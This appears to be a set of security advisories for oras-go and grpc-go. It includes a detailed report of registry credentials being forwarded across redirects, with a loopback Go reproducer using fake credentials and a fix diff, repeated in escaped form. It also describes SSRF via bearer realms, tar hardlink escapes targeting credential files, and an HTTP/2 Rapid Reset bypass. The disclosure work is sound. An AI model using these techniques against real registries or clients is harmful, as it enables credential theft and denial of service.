Title
oras-go: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, auth.Client follows the realm URL from a registry's WWW-Authenticate: Bearer challenge without validating the scheme or host, allowing a malicious or compromised registry to cause SSRF to internal networks such as http://169.254.169.254/, http://10.0.0.x/, and http://127.0.0.1/, or to downgrade a registry contacted over https:// to an http:// token endpoint in registry/remote/auth/client.go through Client.Do(), Client.fetchBearerToken(), fetchDistributionToken, and fetchOAuth2Token. This issue is fixed in version 2.6.1.

Title
oras-go: credential forwarding via unvalidated Location header in blob upload
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, registry/remote/repository.go in blobStore.completePushAfterInitialPost follows a registry-controlled Location header during monolithic blob upload and reuses the Authorization header from the initial POST request for the subsequent PUT request, allowing a malicious registry to return a cross-host Location and receive the caller's credentials at an attacker-controlled endpoint. This issue is fixed in version 2.6.1.

Title
oras-go: file store write outside workingDir via symlink traversal
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, resolveWritePath() in content/file/file.go uses a lexical filepath.Rel check for workingDir and does not account for symlink traversal, so when AllowPathTraversalOnWrite=false an attacker-controlled blob title through ocispec.AnnotationTitle such as out/pwn.txt can follow a workingDir symlink out -> /some/outside/dir and cause pushFile() to create /some/outside/dir/pwn.txt outside workingDir. This issue is fixed in version 2.6.1.

Title
oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Summary
gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities
Details
Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing
MetadataorRequestedServerNamefields. - Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing
NOTrules around unsupported fields.
Impact
What kind of vulnerability is it? Who is impacted?
xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers
- Affected Component: xDS RBAC
- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported
permissionandprincipalrules (specificallyMetadataandRequestedServerName) were silently ignored and treated as no-ops. - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
- If these unsupported rules were nested inside logical
NOTrules (Permission_NotRule/Principal_NotId) or multi-conditionOR/ANDrules, silently dropping them changed the boolean logic flow of the authorization engine.
As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.
HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts
- Affected Component: HTTP/2 transport
- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as
SETTINGSACKs or server-initiatedRST_STREAMs.
When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).
Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules
- Affected Component: xDS RBAC
- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a
NOTrule wrapped an unsupported or unhandled field (such asSourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.
An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).
Patches
Has the problem been patched? What versions should users upgrade to?
All three issues have been fixed in master and will be released in 1.82.1 shortly.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:
- For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing
Metadata,RequestedServerName, orNOTrules wrapping unsupported fields (such asSourcedMetadata) to grpc-go servers. - For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2
max_concurrent_streamslimits and active rate limiting onRST_STREAMfrequency per connection.

Summary
ORAS Go forwards registry credentials across registry redirects
Details
ORAS Go forwards registry credentials across registry redirects
Reporter / public credit: JUNYI LIU
Summary
ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.
There are two related paths:
- A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin
Authorizationheader to the redirect target. - A blob upload
POSTauthenticates to the origin registry, then the origin returns an uploadLocationon another host or port. The follow-upPUTcan carry the originAuthorizationheader to theLocationtarget.
The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.
Impact
A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.
This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.
Affected Versions Tested
oras-go v2.6.0: affected.oras-gomain at commita57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.oras-gov2 branch at commitd593d504779be8b69f0ba034ac9fd407d1fc8cfc: uploadLocationpath is blocked, but manifest redirect credential forwarding is still affected.- ORAS CLI at commit
3d2646279c70ba60415440e44c2ff97896e4a209, usingoras-go v2.6.0: affected when using--registry-config.
Security Invariant
Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.
Local Reproduction Overview
All testing used loopback servers and fake credentials only.
Manifest redirect flow:
- The client requests a manifest from the origin registry.
- The origin returns
401with a Basic challenge. - The client retries the origin request with the origin credential.
- The origin returns
307to another port on the same hostname. - The redirect sink receives the origin
Authorizationheader.
ORAS CLI stored-credential flow:
- A temporary registry config contains a fake Basic credential for the origin registry only.
- Run:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
- The origin authenticates the request and redirects it to another port.
- The redirect sink receives the origin
Authorizationheader.
Blob upload Location flow:
- The client starts a blob upload with
POSTto the origin registry. - The origin challenges with Basic and then accepts the authenticated
POST. - The origin returns an upload
LocationURL on another port. - In affected versions, the follow-up
PUTto theLocationtarget carries the originAuthorizationheader.
Expected Result
Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.
Observed Result
In affected versions, redirect or Location sinks received:
Authorization: Basic <base64 origin_user:origin_pass>

Candidate Fix
The candidate fix does two things:
- In the auth client, wrap redirect handling so
Authorizationis removed when a redirect changes HTTP origin, while preserving any caller-providedCheckRedirectcallback. - In blob upload completion, only reuse the previous
POSTAuthorizationheader when the uploadLocationremains on the same HTTP origin.
The patch also adds regression coverage for both redirect cases:
- redirect before origin authentication reaches a different origin;
- redirect after origin authentication reaches a different origin.

Validation Performed
The repaired candidate fix blocked:
- manifest redirect credential forwarding;
- upload
Locationcredential forwarding.
Targeted tests passed:
go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1
go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1
Prior Art / Duplicate Notes
Public pull request #1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope.
Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.
Claim Boundaries
Proven:
- Origin registry Basic credentials can reach a different redirect or upload
Locationorigin in local loopback tests. - ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.
- The candidate fix blocks the tested redirect and upload
Locationcredential exposures.
Not claimed:
- Live third-party exploitation.
- RCE, host compromise, or registry compromise.
- Arbitrary-host exposure beyond the tested redirect/
Locationorigin transitions. - Bearer realm behavior as part of the same claim.

In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header.\n\n## Expected Result\n\nRedirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header.\n\n## Observed Result\n\nIn affected versions, redirect or `Location` sinks received:\n\n```http\nAuthorization: Basic \u003cbase64 origin_user:origin_pass\u003e\n```\n\n## Standalone Reproducer\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/opencontainers/go-digest\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/auth\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/credentials\"\n)\n\ntype hit struct {\n\tMethod string `json:\"method\"`\n\tPath string `json:\"path\"`\n\tHost string `json:\"host\"`\n\tAuth string `json:\"auth,omitempty\"`\n}\n\nfunc main() {\n\tconst username = \"origin_user\"\n\tconst password = \"origin_pass\"\n\tconst expectedAuth = \"Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=\"\n\tvar mu sync.Mutex\n\tvar originHits, sinkHits []hit\n\n\trecord := func(dst *[]hit, r *http.Request) {\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\t\t*dst = append(*dst, hit{\n\t\t\tMethod: r.Method,\n\t\t\tPath: r.URL.RequestURI(),\n\t\t\tHost: r.Host,\n\t\t\tAuth: r.Header.Get(\"Authorization\"),\n\t\t})\n\t}\n\n\tmanifest := []byte(`{\"schemaVersion\":2,\"mediaType\":\"application/vnd.oci.image.manifest.v1+json\",\"config\":{\"mediaType\":\"application/vnd.unknown.config.v1+json\",\"digest\":\"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\",\"size\":2},\"layers\":[]}`)\n\tmanifestDigest := digest.FromBytes(manifest).String()\n\n\tsink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026sinkHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"redirect-sink\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/vnd.oci.image.manifest.v1+json\")\n\t\tw.Header().Set(\"Docker-Content-Digest\", manifestDigest)\n\t\tw.Header().Set(\"Content-Length\", fmt.Sprint(len(manifest)))\n\t\t_, _ = w.Write(manifest)\n\t}))\n\tdefer sink.Close()\n\n\torigin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026originHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"origin\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)\n\t}))\n\tdefer origin.Close()\n\n\trepo, err := remote.NewRepository(origin.Listener.Addr().String() + \"/probe\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trepo.PlainHTTP = true\n\trepo.Client = \u0026auth.Client{\n\t\tClient: origin.Client(),\n\t\tCredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{\n\t\t\tUsername: username,\n\t\t\tPassword: password,\n\t\t}),\n\t}\n\n\t_, _, err = repo.Manifests().FetchReference(context.Background(), \"latest\")\n\n\tleaked := false\n\tfor _, h := range sinkHits {\n\t\tif h.Auth == expectedAuth {\n\t\t\tleaked = true\n\t\t}\n\t}\n\n\tresult := map[string]any{\n\t\t\"origin_hits\": originHits,\n\t\t\"sink_hits\": sinkHits,\n\t\t\"error\": \"\",\n\t\t\"leaked\": leaked,\n\t}\n\tif err != nil {\n\t\tresult[\"error\"] = err.Error()\n\t}\n\tencoded, _ := json.MarshalIndent(result, \"\", \" \")\n\tfmt.Println(string(encoded))\n\n\tif leaked {\n\t\tfmt.Println(\"VULNERABLE_BEHAVIOR_CONFIRMED\")\n\t\treturn\n\t}\n\tfmt.Println(\"BOUNDARY_HELD_NO_CREDENTIAL_LEAK\")\n\tos.Exit(1)\n}\n```\n\n## Candidate Fix\n\nThe candidate fix does two things:\n\n1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback.\n2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin.\n\nThe patch also adds regression coverage for both redirect cases:\n\n- redirect before origin authentication reaches a different origin;\n- redirect after origin authentication reaches a different origin.\n\n```diff\ndiff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go\nindex 35826eb..60c9f88 100644\n--- a/registry/remote/auth/client.go\n+++ b/registry/remote/auth/client.go\n@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {\n \tfor key, values := range c.Header {\n \t\treq.Header[key] = append(req.Header[key], values...)\n \t}\n-\treturn c.client().Do(req)\n+\tclient := c.client()\n+\tclientCopy := *client\n+\tcheckRedirect := client.CheckRedirect\n+\tclientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {\n+\t\tif len(via) \u003e 0 \u0026\u0026 !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {\n+\t\t\tredirectReq.Header.Del(headerAuthorization)\n+\t\t}\n+\t\tif checkRedirect != nil {\n+\t\t\treturn checkRedirect(redirectReq, via)\n+\t\t}\n+\t\treturn nil\n+\t}\n+\treturn clientCopy.Do(req)\n+}\n+\n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n }\n \n // credential resolves the credential for the given registry.\n@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tvar attemptedKey string\n \tcache := c.cache()\n \thost := originalReq.Host\n+\tif host == \"\" {\n+\t\thost = originalReq.URL.Host\n+\t}\n \tscheme, err := cache.GetScheme(ctx, host)\n \tif err == nil {\n \t\tswitch scheme {\n@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tif resp.StatusCode != http.StatusUnauthorized {\n \t\treturn resp, nil\n \t}\n+\trespHost := resp.Request.Host\n+\tif respHost == \"\" {\n+\t\trespHost = resp.Request.URL.Host\n+\t}\n+\tif respHost != host {\n+\t\treturn resp, nil\n+\t}\n \n \t// attempt again with credentials for recognized schemes\n \tchallenge := resp.Header.Get(headerWWWAuthenticate)\ndiff --git a/registry/remote/repository.go b/registry/remote/repository.go\nindex 74d6b89..0bd20ec 100644\n--- a/registry/remote/repository.go\n+++ b/registry/remote/repository.go\n@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte\n // Push or by Mount when the receiving repository does not implement the\n // mount endpoint.\n func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {\n+\toriginalURL := req.URL\n \treqHostname := req.URL.Hostname()\n \treqPort := req.URL.Port()\n \t// monolithic upload\n@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \tq.Set(\"digest\", expected.Digest.String())\n \treq.URL.RawQuery = q.Encode()\n \n-\t// reuse credential from previous POST request\n-\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" {\n+\t// reuse credential from previous POST request only when the upload location\n+\t// remains on the same origin.\n+\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" \u0026\u0026 sameHTTPOrigin(originalURL, location) {\n \t\treq.Header.Set(\"Authorization\", auth)\n \t}\n \tresp, err = s.repo.do(req)\n@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \treturn nil\n }\n \n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n+}\n+\n // Exists returns true if the described content exists.\n func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {\n \tif err := s.repo.checkPolicy(ctx, \"\"); err != nil {\n```\n\n## Validation Performed\n\nThe repaired candidate fix blocked:\n\n- manifest redirect credential forwarding;\n- upload `Location` credential forwarding.\n\nTargeted tests passed:\n\n```sh\ngo test ./registry/remote/auth -run \u0027TestClient_Do_Basic_Auth_Redirect|TestClient_Do\u0027 -count=1\ngo test ./registry/remote -run \u0027Test_BlobStore_Push|TestRepository\u0027 -count=1\n```\n\n## Prior Art / Duplicate Notes\n\nPublic pull request #1152 fixes credential forwarding via unvalidated blob upload `Location` and references GHSA-jxpm-75mh-9fp7.
